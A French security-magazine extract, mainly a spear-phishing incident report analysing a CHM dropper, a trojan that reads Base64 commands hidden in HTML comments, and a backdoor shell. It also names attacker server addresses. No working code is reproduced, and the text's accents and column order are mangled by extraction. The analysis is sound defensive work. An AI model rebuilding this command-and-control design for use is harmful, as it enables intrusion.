bull Atteinte de la taille maximum du support de stocka-ge plus aucune information ne sera journaliseacutee (si une option drsquoeacutecrasement est activeacutee risque de per-te drsquoinformations)

bull Tri et exploitation beaucoup trop longs (imaginez la journalisation drsquoune journeacutee qui prend plusieurs jours agrave analyser)

Il est donc primordial drsquoappliquer une journalisation adapteacutee au mode drsquoutilisation un mode debug peut ecirctre utiliseacute pour analyser le bon fonctionnement drsquoune application mais il ne doit pas ecirctre constamment acti-veacute

La protection des journaux est aussi essentielle la derniegravere chose que fera un attaquant apregraves srsquoecirctre intro-duit chez vous est drsquoeffacer ses traces un attribut de protection sur les fichiers est donc tregraves important (voir le chapitre preacuteceacutedent Droits et fichiers)

Quel est lrsquointeacuterecirct de la journalisation

bull Comme eacutenonceacute preacuteceacutedemment dans le cas de test du fonctionnement drsquoune application

bull Pour deacutetecter lrsquoorigine de problegravemes sur la machi-ne

bull Pour tracer les actions (sur le systegraveme dans une applicationhellip)

bull Afin de deacutetecter des agissements anormauxbull Pour proteacuteger lrsquoadministrateur la socieacuteteacute en vertu

des lois (respect des lois)

Mais la journalisations ne fait pas tout il faut aussi ef-fectuer des sauvegardes des sauvegardes systegravemes (par exemple avant une modification majeure reacutegu-liegraverement pour reacutecupeacuterer facilement apregraves un crash) mais aussi des journaux drsquoaudit Bien sucircr ces sauve-gardes doivent ecirctre proteacutegeacutees et deacutelocaliseacutees

En geacuteneacuteral la dureacutee de conservation des sauvegardes (journaux bien que systegravemes seraient un plus) doit ecirctre entre 1 agrave 2 ans (leacutegalement) permettant une reacuteponse aux requecirctes judiciaires

seacutecuriteacute et continuiteacuteUn systegravemes nrsquoest jamais complegravetement sucircr Lrsquohomme (ou la femme) le meilleur du monde ne pourra jamais seacutecuriser un systegraveme de maniegravere absolue

Il y a quand mecircme des moyens afin drsquoatteindre un niveau de seacutecuriteacute assez convenable

bull La mise en place de politique de seacutecuriteacutebull Effectuer de la veille technologiquebull Effectuer reacuteguliegraverement des audits de seacutecuriteacute sur

les systegravemesbull Le respect par tous des regravegles de seacutecuriteacute (le vi-

rus introduit sur le reacuteseau vient dans la majoriteacute des cas du grand chef ou des administrateurs locaux

bull Sensibiliser encore et encore

Bien sucircr cette liste nrsquoest pas exhaustive

ConclusionLa seacutecuriteacute dun systegraveme ne deacutepend pas que de sa mise agrave jour il deacutepend eacutenormeacutement de la maniegravere dont on administre ses service Que ce soit pour un serveur dune grande entreprise ou votre serveur agrave la maison la seacutecurisation de votre serveur ne sera jamais fini effectuez une veille technologique et appliquez la seacutecu-risation par laquo laccegraves au strict besoins raquo et vous aurez eacuteviteacute un grand nombre dattaque Malheureusement vous ne serrez jamais proteacutegeacute contre les nouvelles failles applicatives et ceux mecircme avec une infrastruc-ture conseacutequente

La seacutecuriteacute nest quun deacutebut son application na pas de fin

Agrave ProPos de LAUTeUrAutodidacte depuis plus de dix ans dans le domaine du deacuteve-loppement lauteur e ectue des audits de seacutecuriteacute informati-que pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

NoTe regravegles de bonnes conduites agrave garder sur ces systegravemes bull Le cloisonnement des mots de passe (le mecircme mot de

passe ne doit pas ecirctre utiliseacute entre les machines virtuelles et la machine physique)

bull La mise agrave jour des systegravemes en portant une attention particuliegravere sur la stabiliteacute du systegraveme maicirctre (machine physique)

bull Lrsquoapplication de droits restreints agrave lrsquoadministration des machines virtuelles (seul un administrateur doit pouvoir reacuteinitialiser une machine la dupliquer lrsquoexporter etc)

5201014

attaque

En regravegle geacuteneacuterale lrsquoobjectif dun attaquant est drsquoobtenir des informations sensibles sur un utili-sateur Mais il peut eacutegalement srsquoagir drsquoatteindre

des reacuteseaux speacutecifiques Bien souvent le pirate reacuteussit agrave convaincre lrsquoutilisateur de teacuteleacutecharger et drsquoexeacutecuter une piegravece jointe frauduleuse ou drsquointeragir avec lui

Dans le cadre de cet article et du rapport drsquoanalyse nous analyserons une attaque de type spear-phishing aborderons les meacutethodes utiliseacutees et lrsquoorigine de lrsquoatta-que Dans ce rapport une attaque par spear-phishing a eacuteteacute bloqueacutee et des actions ont eacuteteacute mises en œuvre pour comprendre les principes de fonctionnement de lrsquoat-taque Ce rapport examine les meacutecanismes utiliseacutes pour lattaque les outils de deacutesassemblage et les caracteacuteristi-ques qui ont permis aux utilisateurs de srsquoen preacutemunir

Nous avons utiliseacute plusieurs techniques drsquoinvestigation une analyse statique pour examiner lrsquoensemble des fichiers des outils comme IDA Pro Radare et Hiew pour lrsquoanalyse des fichiers binaires Nous avons eacutegalement analyseacute le malware agrave lrsquoexeacutecution en utilisant des machines virtuelles et des outils drsquoanalyse dynamiques comme Immunity De-bugger Python et Fiddler Des exeacutecutables ont eacutegalement

eacuteteacute modifieacutes pour permettre la simulation dun C amp C et linteraction eacutetant observeacutee avec la machine virtuelle Enfin la reconnaissance du reacuteseau de base a eacuteteacute effectueacutee pour surveiller les systegravemes geacutereacutes par lattaquant

Avec une attaque par spear-phishing et des techniques drsquoingeacutenierie sociale un attaquant peut aiseacutement envoyer un cheval de troie pour prendre les commandes drsquoun site Entre temps lrsquoutilisateur a mis agrave jour le site avec une commande de type download (teacuteleacutechargement) qui agrave son tour a permis au cheval de troie de creacuteer une bac-kdoor Une backdoor est une commande shell basique qui permet agrave un attaquant drsquoacceacuteder agrave un hocircte au niveau du systegraveme drsquoexploitation et ainsi cibler des reacuteseaux speacute-cifiques Le reste de cet article traitera de la reacuteponse agrave lattaque et de lanalyse des eacuteleacutements reacutecupeacutereacutes

une attaque par eacutetapes ndash analyse fonctionnelleDans cette rubrique nous allons expliquer en deacutetail ce qursquoest une attaque par spear-phishing Dans la pre-miegravere partie nous nous inteacuteresserons agrave la phase ougrave lrsquoattaquant envoie un e-mail avec une piegravece jointe frau-duleuse Cette piegravece jointe nrsquoest autre qursquoun cheval de troie qui permet de prendre le controcircle du site Lrsquoeacutetape suivante consiste pour le malware agrave teacuteleacutecharger et

Rapport drsquoanalyse drsquoune attaque par spear-phishing

Le Spear-Phishing est un phishing cibleacute lattaque est techniquement similaire au phishing mais cible un petit nombre de victimes par courrier eacutelectronique Lrsquoattaque varie selon les intentions du pirate qui lrsquoinitie

Cet aRtICLe eXPLIquebull Analyse drsquoune attaque de type spear-phishing

Ce qursquoIL Faut SaVOIRbull Langage Python

adam Pridgen Matthew Wollenweber

Figure 1 Appel du fichier CHM agrave lrsquoexeacutecutable svchostexe Figure 2 Cleacute de registre relative agrave lrsquoemplacement du malware

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 15

Lorsque le programme est exeacutecuteacute une cleacute est enre-gistreacutee dans le registre de Windows pour lancer auto-matiquement le troyen au deacutemarrage de lrsquoordinateur

La figure 2 repreacutesente la cleacute de registre et son emplace-ment La cleacute est une cleacute de deacutemarrage peu utiliseacutee Lors-que la cleacute de registre est deacutefinie le fichier binaire reacutecupegravere lrsquohocircte et lrsquoURL qui permettront drsquoenvoyer des commentai-res sur le site Web Les commandes inteacutegreacutees agrave la page sont encodeacutees en Base 64 et sont comprises entre les balises lt-- hellip --gt Lrsquoanalyse statique du troyen reacutevegravele qursquoil nrsquoy a que quelques commandes connues dont

bull sleepbull downloadbull connectbull cmdbull quit

En cours drsquoanalyse seules les commandes sleep et down-load ont eacuteteacute utiliseacutees par lrsquoattaquant La commande sleep oblige au programme agrave ne rien faire pendant un laps de temps deacutetermineacute selon le paramegravetre passeacute agrave la fonction Lrsquoanalyse live a montreacute que la page de lrsquoattaquant eacutetait reacuteactualiseacutee toutes les 10 minutes La commande down-

installer une backdoor crsquoest-agrave-dire une porte deacuterobeacutee Nous discuterons eacutegalement de la porte deacuterobeacutee

Charges virales primaires et secondairesLa premiegravere eacutetape drsquoune attaque par spear-phishing correspond agrave lrsquoenvoi drsquoun e-mail laquo creacutedible raquo en utilisant des techniques drsquoingeacutenierie sociale Cet e-mail a pour but de manipuler lrsquoutilisateur en gagnant sa confiance ou en attisant sa curiositeacute Cette manipulation se sert de vraies ou fausses informations en plus drsquoinformations personnelles pour faire croire agrave lrsquoutilisateur qursquoil srsquoagit drsquoun e-mail de confiance Lorsque lrsquoutilisateur accepte lrsquoattaquant poursuit le deacuteroulement de son plan Dans le cas preacutesent nous nous inteacuteresserons uniquement agrave la piegravece jointe En effet les autres sections contiennent des informations personnelles et donc sensibles

La piegravece jointe contient un cheval de troie Avant lrsquoen-voi de lrsquoe-mail lrsquoattaquant a pris le soin de se renseigner sur lrsquoentreprise etou son utilisateur Le contenu de lrsquoe-mail est donc speacutecifique lrsquoutilisateur est suffisamment confiant pour ouvrir la piegravece jointe Lorsquelle est ouverte un cheval de troie est exeacutecuteacute et se lance en tacircche de fond sur la machine cible Dans le cas preacute-sent la piegravece jointe est au format CHM (fichier drsquoaide Microsoft compileacute en HTML) qui permet drsquoinstaller et de lancer le processus malveillant svchostexe comme illustreacute agrave la figure 3

La figure 1 preacutesente la portion de code CHM qui permet de mettre en œuvre cette technique Le fichier CHM utilise des contenus lieacutes agrave des logiciels open-source pour exploiter des failles sur la machine cible Les contenus regroupent diverses informations sur le site Web ainsi que des donneacutees officielles provenant de la Federal Reserve Board (FRB) relatives au deacutevelop-pement des fonds moneacutetaires mondiaux

Figure 3 Cheval de troie lanceacute par le fichier CHM Figure 4 Commande HTTP HEAD lanceacutee sur tous les serveurs

5201016

attaque

load permet de teacuteleacutecharger et drsquoexeacutecuter un fichier binaire speacutecifieacute par lrsquoattaquant Cette commande autorise un hocirc-te ou FQDN en plus drsquoun URI Elle srsquoappuie sur la librairie WinHTTP pour eacutetablir des connexions reacuteseaux Au bout de 8 heures la page Web de lrsquoattaquant est mise agrave jour avec cette commande et le troyen reccediloit lrsquoemplacement du nouveau binaire agrave exeacutecuter Un script a eacuteteacute utiliseacute agrave la pla-ce du troyen pour suivre et manipuler le site Une fois la commande reccedilue le script a teacuteleacutechargeacute le binaire agrave par-tir du site Une fois le binaire reacutecupeacutereacute il a eacuteteacute analyseacute il srsquoagissait drsquoune porte deacuterobeacutee La prochaine section deacute-taille le mode de fonctionnement de ce binaire

La porte deacuterobeacutee (backdoor)Une fois le nouveau binaire reacutecupeacutereacute sur le site de lrsquoattaquant les proprieacuteteacutes fonctionnelles et autres ca-racteacuteristiques ont eacuteteacute rapidement passeacutees en revue Eacutetant donneacute la dangerositeacute du binaire nous avons creacuteeacute un environnement priveacute et seacutecuriseacute pour reproduire les commandes et controcircler le serveur en interne Le bi-naire a eacuteteacute modifieacute pour srsquoadapter agrave notre CampC eacutemuleacute et srsquoexeacutecuter sur une machine virtuelle Voici les actions qui se produisent sans intervention humaine

une fois la porte deacuterobeacutee installeacutee sur le disque de lrsquohocirc-te lrsquoattaquant exeacutecute le fichier binaire avec WinExec Au cours de cette eacutetape la porte deacuterobeacutee utilise des sockets WSA pour se connecter agrave un serveur hard-coded (codeacute en dur) sur un port speacutecifique Si la porte deacuterobeacutee rencontre des erreurs il nest pas possible de se connecter au ser-veur elle se deacutesinstalle automatiquement en supprimant lrsquoimage de lrsquoexeacutecutable sur le disque avant de se fermer

Si la porte deacuterobeacutee reacuteussit agrave eacutetablir une connexion elle envoie la chaicircne encodeacutee en Base 64 puis se connecte

ensuite le client peut renvoyer nrsquoimporte quel type drsquoinformation La porte deacuterobeacutee dispose de fonctions limiteacutees mais le nombre de ses commandes permet de prendre le controcircle du systegraveme drsquoexploitation La porte deacuterobeacutee accepte les donneacutees en entreacutee des processus par cmd ou des commandes quit (fermeture) Si la com-mande quit est saisie la backdoor effectue lrsquoensemble des actions aboutissant agrave lrsquoauto-destruction

Le cmd invoque un shell basique Dans cet environne-ment les commandes accepteacutees sont celles speacutecifiques aux systegravemes drsquoexploitation des exeacutecutables dans un che-min drsquoaccegraves speacutecifique cd quit et exit La commande cd permet de changer drsquoemplacement de reacutepertoire Les com-mandes quit et exit permettent de quitter le mode shell

Protections systegraveme Spear-PhishingLe systegraveme mis en place pour le phishing semble ecirctre conccedilu pour eacuteviter le maximum de dommages en cas de suppression de lrsquoun de ses composants logiciels En outre les composants malveillants nrsquoont pu ecirctre identifieacutes par les anti-virus (AV) ou des systegravemes de preacuteventions drsquointrusion (IPS) classiques Ces observations deacutecoulent du fait que les serveurs nrsquoont pas eacuteteacute utiliseacutes pendant une semaine apregraves la premiegravere analyse Il y a eu une tentative pour identifier drsquoautres serveurs utilisant des canaux de controcircles similaires par des moteurs de recherche mais ces moteurs ne conservent pas les commentaires HTML comme meacutetadonneacutees Une alternative aux moteurs de recherche est de crawler (parcourir) le Web agrave la recher-che drsquohocirctes pour identifier les commentaires en Base 64 dans chaque page Compte tenu du temps imparti reculer lrsquoeacutecheacuteance nrsquoeacutetait pas envisageable

En ce qui concerne les protections binaires le dropper (injecteur du cheval de troie) de base est un CHM dispo-sant drsquoune charge virale et placeacute sur le disque Le cheval de troie nrsquoest pas en format packageacute et est un binaire non crypteacute il communique avec lrsquoattaquant par texte brute Lorsque le troyen se ferme il ne se deacutesinstalle pas du disque et se lance agrave chaque deacutemarrage du posteFigure 5 Fichiers CHM extraits

Figure 6 Affichage des chaicircnes avec les chaicircnes deacutecodeacutees en Base 64 via Python

Figure 7 Code qui permet de teacuteleacutecharger un fichier du serveur controcircleacute par un attaquant

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 17

La porte deacuterobeacutee teacuteleacutechargeacutee ulteacuterieurement dans lrsquoatta-que est dans un format binaire non proteacutegeacute Il est ni crypteacute ni packageacute La backdoor communique eacutegalement avec les serveurs de lrsquoattaquant en utilisant des canaux de texte brut Contrairement au troyen la porte deacuterobeacutee se deacutesinstalle du disque agrave chaque fermeture ou en cas drsquoerreur

analyse deacutetailleacutee du systegraveme spear-phishingDans ce chapitre nous allons expliquer la meacutethodologie de notre analyse Nous allons deacutecouvrir les outils et processus utiliseacutes pour reacutealiser lrsquoanalyse drsquoune attaque par spear-phishing Lrsquoanalyse met lrsquoaccent sur plusieurs domaines drsquoeacutetude Lrsquoobjectif est drsquoobtenir des preuves tangibles sur lrsquoattaque du pirate informatique afin drsquoy reacutepondre de ma-niegravere approprieacutee et au final rechercher les failles qui per-mettraient de srsquoimmiscer dans le reacuteseau de lrsquoattaquant

Les analyses des diffeacuterentes composantes nont pas eacuteteacute effectueacutees dans lordre ougrave elles sont eacutenonceacutees dans les sous-sections suivantes mais le deacutetail des sous-sec-tions reacutevegravele comment lanalyse est effectueacutee et quelle information est acquise par lanalyse La premiegravere sous-partie traite des informations obtenues suite agrave lrsquoanalyse des serveurs web externes Dans la section suivante nous nous inteacuteresserons plus speacutecifiquement au dropper et au troyen utiliseacutes par les attaquants ainsi qursquoagrave lrsquoana-lyse de la porte deacuterobeacutee reacutecupeacutereacutee sur le site pirate

analyse serveurLa meacutethodologie de lrsquoanalyse des serveurs web eacutetait prin-cipalement en black-box sachant que nous nrsquoavions pas

accegraves aux systegravemes Par ailleurs les phases drsquoanalyse et de reconnaissance devaient rester discregravetes Les reacutesul-tats obtenus suite agrave lrsquoanalyse serveur srsquoappuient sur les meacutetadonneacutees recueillies et les reacutesultats qui en deacutecoulent Les reacutesultats se sont appuyeacutes sur les requecirctes des en-tecirctes HTTP sachant que les trois serveurs tournaient sous Microsoft IIS 60 ce qui signifie que les serveurs tournent avec un systegraveme drsquoexploitation Microsoft Server 2003

Le serveur qui a lanceacute le cheval de troie a lrsquoadresse IP 20322022138 est fonctionnel depuis le Jeudi 16 Oc-tobre 2008 110256 et correspond au domaine techsuscomau Une rapide recherche sur Google montre que ce site est en place depuis un bon moment Par ailleurs une signature McAfee existe pour cette porte deacuterobeacutee et est active depuis Septembre 2007 (Backdoor-DMG McA-fee Inc httpvilnaicomvilcontentv_143081htm) Le serveur qui a heacutebergeacute cette porte deacuterobeacutee a reacutecemment reccedilu des modifications sur sa page index qui semble dis-poser de commandes de controcircle hosting comme illustreacute agrave la Figure 4 Le serveur sur lequel se connecte la porte deacuterobeacutee a pour adresse 6322812819 et est fonctionnel

Figure 8 Cheval de troie contactant un serveur hard-coded pour les commandes

Figure 9 Interception du trafic web du cheval de troie par Fiddler

Figure 10 Tokens utiliseacutes pour identifier les commandes de la page web

Figure 11 Immunity Debugger affiche la commande parseacutee par le cheval de troie

5201018

attaque

depuis le Lundi 25 Juin 2007 130604 GMT Les reacutesultats relatifs aux en-tecirctes HTTP apparaissent agrave la Figure 4

analyses primaires et secondaires des charges viralesLa piegravece jointe de lrsquoe-mail de phishing est un fichier drsquoaide compileacute HTML de Microsoft autrement dit un fichier CHM Ces types de fichiers fournissent de lrsquoaide aux utilisateurs sous environnements Microsoft Windows Ils permettent eacutegalement de consulter facilement des e-books Pour obtenir lrsquointeacutegraliteacute du contenu du fichier CHM nous avons utiliseacute le logiciel CHMDumper dispo-nible sur Mac Cette application nous a permis drsquoextraire lrsquoensemble des fichiers et reacutepertoires et drsquoobtenir des in-formations speacutecifiques sur le cheval de troie et le fichier HTML qui permet de le lancer Error Reference source not found La page suivante montre les fichiers extraits par CHMDumper mais le plus gros de lrsquoanalyse srsquoest fait avec svchostexe et FRB Conference on Key Develop-ments in Monetary Economichtm La Figure 3 abordeacutee dans les paragraphes preacuteceacutedents montre en deacutetail les eacuteleacutements agrave lrsquoorigine de lrsquoexeacutecution du cheval de troie

Lrsquoanalyse statique est utiliseacutee pour veacuterifier si le binaire est ou non proteacutegeacute puis met en eacutevidence les chaicircnes ou fonctions importantes La premiegravere eacutetape dans lrsquoanalyse drsquoun cheval de troie est drsquoutiliser des commandes Unix pour veacuterifier si le binaire est proteacutegeacute dispose de donneacutees de controcircle Mais nous avons pu eacutegalement observer que certains jeux drsquoinstructions eacutetaient encodeacutes en Base 64 et drsquoautres eacutetaient des adresses IP et URI Nous avons noteacute

lrsquoutilisation de commandes HTTP et de lrsquoAPI WinINet agrave par-tir des tables importeacutees comme indiqueacute en Figure 6

Une fois que nous avons obtenu un aperccedilu du cheval de troie le fichier binaire est analyseacute avec IDA Pro pour eacutetudier la maniegravere dont les chaicircnes de caractegraveres sont traiteacutees et pour reacutealiser une analyse de code statique Lrsquoanalyse sous IDA Pro a permis drsquoidentifier les routines qui initiaient la connexion agrave la page drsquoauthentification ainsi que les fonctions responsables du teacuteleacutechargement du malware La Figure 8 montre lrsquohocircte qui est contacteacute par le cheval de troie pour obtenir une nouvelle commande de lrsquoattaquant La Figure 7 montre la routine qui initie le teacuteleacutechargement Au cours de cette eacutetape le logiciel GNU Wget permet drsquoobtenir une co-pie de la page comme illustreacute en Figure 8 Les commandes de base dans la page eacutetaient relativement complexes mais apregraves analyse sous IDA Pro les tokens utiliseacutes par le che-val de troie eacutetaient lisibles La Figure 10 montre la portion de code qui permet de reacutecupeacuterer les commandes de la page web Les tokens (lt-- --gt) sont consideacutereacutes comme des commentaires et de ce fait ne sont pas parseacutes (analyseacutes et exeacutecuteacutes) par le navigateur ce qui explique que nous ne les retrouvons pas dans lrsquoaffichage de la page HTML

Lrsquoanalyse dynamique est utiliseacutee pour veacuterifier les hypothegraveses preacuteceacutedentes et identifier les aspects fonc-tionnels qui nous auraient eacutechappeacute durant lrsquoanalyse sta-tique Pour lrsquoanalyse live une machine virtuelle avec les logiciels Immunity Debugger et Fiddler a eacuteteacute utiliseacutee

Des points drsquoarrecirct ont eacuteteacute placeacutes aux endroits citeacutes preacuteceacutedemment Etant donneacute que le cheval de troie uti-lise lrsquoAPI WinINet le programme Fiddler Web Debugger a eacuteteacute utiliseacute pour surveiller les communications entre le troyen et le serveur web

La Figure 9 montre Fiddler en action alors que le logiciel intercepte des requecirctes web entre le serveur de lrsquoatta-quant et le cheval de troie Cette meacutethode nous a permis drsquoidentifier lrsquoen-tecircte HTTP User-Agent speacutecifiquement au troyen Lorsque lrsquohocircte est compromis par le cheval de troie ce dernier deacutefinit lrsquoen-tecircte User-Agent comme hocircte +Windows+NT+51 par exemple le nom drsquohocircte pour apridgene8fb8+ Windows+NT+51 serait apridgen-e8fb8 Apregraves avoir utiliseacute Immunity Debugger pour veacuterifier les donneacutees entreacutees comme indiqueacute en Figure 11 nous nous sommes axeacutes sur lrsquoanalyse du prochain binaire

Figure 12 Commandes passeacutees entre le client et le serveur

Figure 13 Deuxiegraveme tentative pour reacutecupeacuterer le binaireFigure 14 Requecircte du faux cheval de troie et reacuteponse de la commande sleep command

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 19

Une fois les meacutecanismes du cheval de troie mis agrave jour plusieurs requecirctes ont eacuteteacute envoyeacutees au serveur de lrsquoatta-quant mais les commandes de la page web sont resteacutees inchangeacutees pendant plus de vingt minutes En raison de la nature incontrocirclable drsquoun cheval de troie une impleacutemen-tation en langage Python du cheval de troie client a eacuteteacute deacuteveloppeacutee Le client ne srsquoest servi que des commandes sleep et download apregraves analyse avec IDA Pro

Apregraves avoir testeacute des iteacuterations au niveau client nous avons laisseacute le programme poursuivre son exeacutecution La Figure 16 preacutesente une capture drsquoeacutecran du client final pour le cheval de troie La Figure 15 montre une capture eacutecran de la requecircte entre le client (cheval de troie) et le serveur web La requecircte du cheval de troie est en surbrillance dans le cadre bleu et la commande figurant dans la reacuteponse du serveur apparaicirct dans le cadre rouge Apregraves six heures de tests (polling) sur le site la commande utiliseacutee a changeacute pour la commande download La Figure 12 montre le temps eacutecouleacute agrave partir du moment ougrave le script est exeacutecuteacute jusqursquoau moment ougrave la commande download est initieacutee La Figure 13 de la page preacuteceacutedente affiche la reacuteponse HTTP 404 apregraves la deuxiegraveme tentative pour reacutecupeacuterer le binaire

analyse de la porte deacuterobeacutee (backdoor)Le fichier binaire obtenu a eacuteteacute identifieacute en utilisant des commandes Unix puis en analysant les chaicircnes de carac-tegraveres Certaines chaicircnes preacutesentes dans le fichier binaire ressemblaient agrave celles du cheval de troie eacutetant donneacute qursquoelles eacutetaient encodeacutees en Base 64 Une autre chaicircne inteacuteressante comportait une adresse IP et un port hard-coded Une analyse avanceacutee a montreacute que ce serveur et le port en question permettaient drsquoeacutetablir des appels vers le serveur une fois le fichier binaire exeacutecuteacute La Figure 17 affiche les commandes du cheval de troie preacutesentes dans la porte deacuterobeacutee Ce lien nous a permis drsquoeacutemettre lrsquohypo-thegravese que la porte deacuterobeacutee et le cheval de troie partagent le mecircme code Apregraves lrsquoanalyse statique similaire agrave celle

deacutecrite dans le chapitre preacuteceacutedent un environnement vir-tuel a eacuteteacute mis en place pour analyser la porte deacuterobeacutee Lrsquoenvironnement comportait une version reacutecente drsquoUbuntu avec Apache et une page de commandes fondeacutee sur le fichier loginhtml citeacute preacuteceacutedemment Le cheval de troie et la porte deacuterobeacutee ont ensuite eacuteteacute modifieacutes pour tester le trafic reacuteseau en interne Le malware a eacuteteacute modifieacute avec Radare Une fois la page de commandes HTML modifieacutee le cheval de troie la porte deacuterobeacutee et lrsquoensemble des fi-chiers sont placeacutes dans le reacutepertoire Web du serveur Apa-che et une analyse live est reacutealiseacutee Le cheval de troie est ensuite teacuteleacutechargeacute sur lrsquohocircte servant de test puis exeacutecuteacute pour simuler une attaque par phishing Une fois exeacutecuteacute lrsquoexeacutecutable svchostexe sonde le serveur web eacutetant don-neacute qursquoil a eacuteteacute modifieacute La page HTML hard-coded initie le teacuteleacutechargement de la porte deacuterobeacutee par lrsquointermeacutediaire du cheval de troie puis lrsquoexeacutecute

Une fois la porte deacuterobeacutee lanceacutee Immunity Debugger analyse le processus Comme indiqueacute preacuteceacutedemment si la porte deacuterobeacutee provoque des erreurs elle srsquoauto-deacutetruit et se deacutesinstalle du disque hocircte La majoriteacute des erreurs provenaient des modifications apporteacutees au fichier binaire et non pas du listener (logiciel drsquoeacutecoute)

Pour acceacuteleacuterer la phase drsquoanalyse des fonctions binai-res et un serveur classique pour la porte deacuterobeacutee ont eacuteteacute impleacutementeacutes avec le langage Python Lrsquoimpleacutementation gegravere lrsquoeacutecoute la reacuteception et le deacutecodage des messages ainsi que lrsquoencodage et lrsquoenvoi des commandes agrave la porte deacuterobeacutee

La Figure 21 preacutesente une capture drsquoeacutecran des fonc-tions utiliseacutees Pour reacutecapituler le setup_listener eacutecoute les connexions sur lrsquoadresse IP et le port speacutecifieacute La fonction recv_data reccediloit les donneacutees en entreacutee sur le socket et get_next_string lit la taille du message et la Base 64 deacutecode la prochaine suite de N caractegraveres La Figure 21 montre un message type avant traitement Les quatre premiers caractegraveres permettent de connaicirc-tre la taille du fichier au format ASCII et la longueur de la chaicircne traiteacutee tels que les donneacutees de la porte deacuterobeacutee Pour finir send_cmd prend en entreacutee une chaicircne de com-mandes et un socket puis envoie agrave la porte deacuterobeacutee une commande encodeacutee en Base 64 au socket

La Figure 21 repreacutesente un listener de porte deacuterobeacutee en cours drsquoutilisation La ligne 302 indique que le listener est en eacutecoute et attend une connexion La ligne 303 montre une commande cmd envoyeacutee agrave la porte deacuterobeacutee Cette commande invoque la commande de lrsquoenvironne-ment de la porte deacuterobeacutee Les eacuteleacutements inutiles (dir Ctextbackslash) sont ignoreacutes par la commande initialisant

Figure 15 Impleacutementation basique du cheval de troie eacutecrit en Python

Figure 16 Commandes du binaire de la porte deacuterobeacutee

5201020

attaque

la routine Nous voyons dans le cas preacutesent la chaicircne de connexion envoyeacutee par la porte deacuterobeacutee suivie drsquoune invite de commande Base 64 avec le reacutepertoire courant La ligne 305 affiche un listing du reacutepertoire courant Les lignes 306 et 309 traitent la commande Les autres com-mandes de lrsquoenvironnement du backdoor comprennent la commande cd qui permet de changer de reacutepertoire puis de clore et quitter lrsquoenvironnement La seule autre commande agrave laquelle la porte deacuterobeacutee semblait reacutepon-dre eacutetait la commande quit Cette commande permet de deacutesinstaller complegravetement la porte deacuterobeacutee puis de quitter Les autres entreacutees ont eacuteteacute ignoreacutees

Gestion des risquesLes attaques par spear-phishing ne neacutecessitent pas lrsquoutilisation de techniques avanceacutees En effet la plupart du temps ces techniques sont bien documenteacutees et per-mettent de prendre le controcircle drsquoun systegraveme En outre les binaires utiliseacutes nrsquoeacutetaient pas tregraves sophistiqueacutes Les binaires peuvent ecirctre aiseacutement modifieacutes avec un eacutediteur hexadeacutecimal si bien que le code source na pas agrave ecirctre retravailleacute pour lrsquoattaque ou le deacuteploiement de binaires les binaires srsquoadaptent directement aux besoins

Des mesures preacuteventives peuvent ecirctre entreprises pour mieux geacuterer les risques elles incluent la forma-tion des utilisateurs ainsi que des tests dispenseacutes aux eacutequipes informatiques (Rachna Dhamija JD Tygar and Marti Hearst ldquoWhy Phishing Worksrdquo CHI 06 Pro-ceedings of the SIGCHI conference on Human Factors in computing systems 2006) Parallegravelement les pare-feux et proxies reacuteseaux peuvent restreindre lrsquoaccegraves aux programmes neacutefastes empecircchant la creacuteation de connexions reacuteseaux Certains systegravemes sophistiqueacutes contournent ces protections cette technologie aurait limiteacute ce genre drsquoattaque Les mesures de deacutetections sont limiteacutees Dans ce contexte les commandes du

cheval de troie sont restreintes et inteacutegreacutees agrave un token les pages web peuvent ecirctre analyseacutees pour des chaicircnes speacutecifiques Une autre mesure de deacutetection sappuie sur le cheval de troie svchostexe en cours drsquoexeacutecution Par ailleurs une autre meacutethode consiste agrave effectuer un audit et un monitoring des programmes au lancement de lrsquoordinateur La deacutetection drsquoune porte deacuterobeacutee peut suivre des actions bien diffeacuterentes Si la porte deacuterobeacutee communique sur le port 443 comme dans le cas preacute-sent le texte brut en Base 64 serait consideacutereacute comme une anomalie

ConclusionCe rapport couvre lrsquoanalyse drsquoattaques en spear-phishing Pour analyser cette attaque nous avons effectueacute des analyses statiques de lrsquoensemble des fichiers binaires des analyses dynamiques sur les exeacute-cutables des exeacutecutables modifieacutes pour ecirctre manipuleacutes dynamiquement dans un environnement controcircleacute et nous avons finalement effectueacute une reconnaissance drsquohocirctes CampC

Les outils et techniques utiliseacutes lont eacuteteacute meacuteticuleuse-ment pour eacuteviter de se faire repeacuterer Lrsquoattaquant dispo-sait de connaissances reacuteseaux avanceacutees sur Windows et les commandes associeacutees Il a prouveacute qursquoil avait des connaissances avanceacutees des commandes botnet et autres controcircles qursquoil a impleacutementeacutes dans un toolkit efficace Il apparaicirct que le toolkit nrsquoutilise pas de code public ou des botnets connus et manque drsquoexploits sophistiqueacutes et meacutecanismes de protection Lrsquoattaquant a eacutegalement reacuteussi agrave eacutetablir des connexions serveurs et agrave cacher son identiteacute Ceci nous a ameneacute agrave penser qursquoil srsquoagissait drsquoune organisation criminelle qui cherchait agrave soutirer de lrsquoargent agrave des particuliers ou profession-nels

En revanche les auteurs ne savent pas comment lrsquoattaque a eacuteteacute deacutetecteacutee initialement Certaines activiteacutes peuvent toutefois faire pressentir une attaque fichier CHM bloqueacute par le filtre du client de messagerie fi-chiers eacutecrits et non supprimeacutes du disque dropper qui eacutecrit directement au registre ou trafic HTTP sur le port 443 plutocirct que HTTPS Cependant nous avons vu des malwares similaires efficaces utiliseacutes sur drsquoautres sys-tegravemes ndash sans ecirctre deacutetecteacutes Crsquoest pour cette raison que la gestion des risques passe par la formation du person-nel etou des utilisateurs lrsquoutilisation drsquoantivirus agrave jour des pare-feux fondeacutes sur des hocirctes et les connexions exteacuterieures ainsi que des proxies reacuteseaux qui limitent le trafic et permettent une surveillance accrue

a PROPOd de LauteuRAdam PridgenThe Cover of Night LLCadampridgenthecoverofnightcom

Figure 17 Listener basique de la porte deacuterobeacutee et impleacutementation serveur en Python

Interview

hakin9orgfr 21

Pouvez-vous preacutesenter en quelques mots la socieacuteteacute VulnIT VulnIT La socieacuteteacute VulnIT creacuteeacutee en novembre 2009 est neacutee de ce constat la seacutecuriteacute des systegravemes drsquoinformation est insuffisamment testeacutee dans la gran-de majoriteacute des entreprises par manque de moyens de temps et de compeacutetences

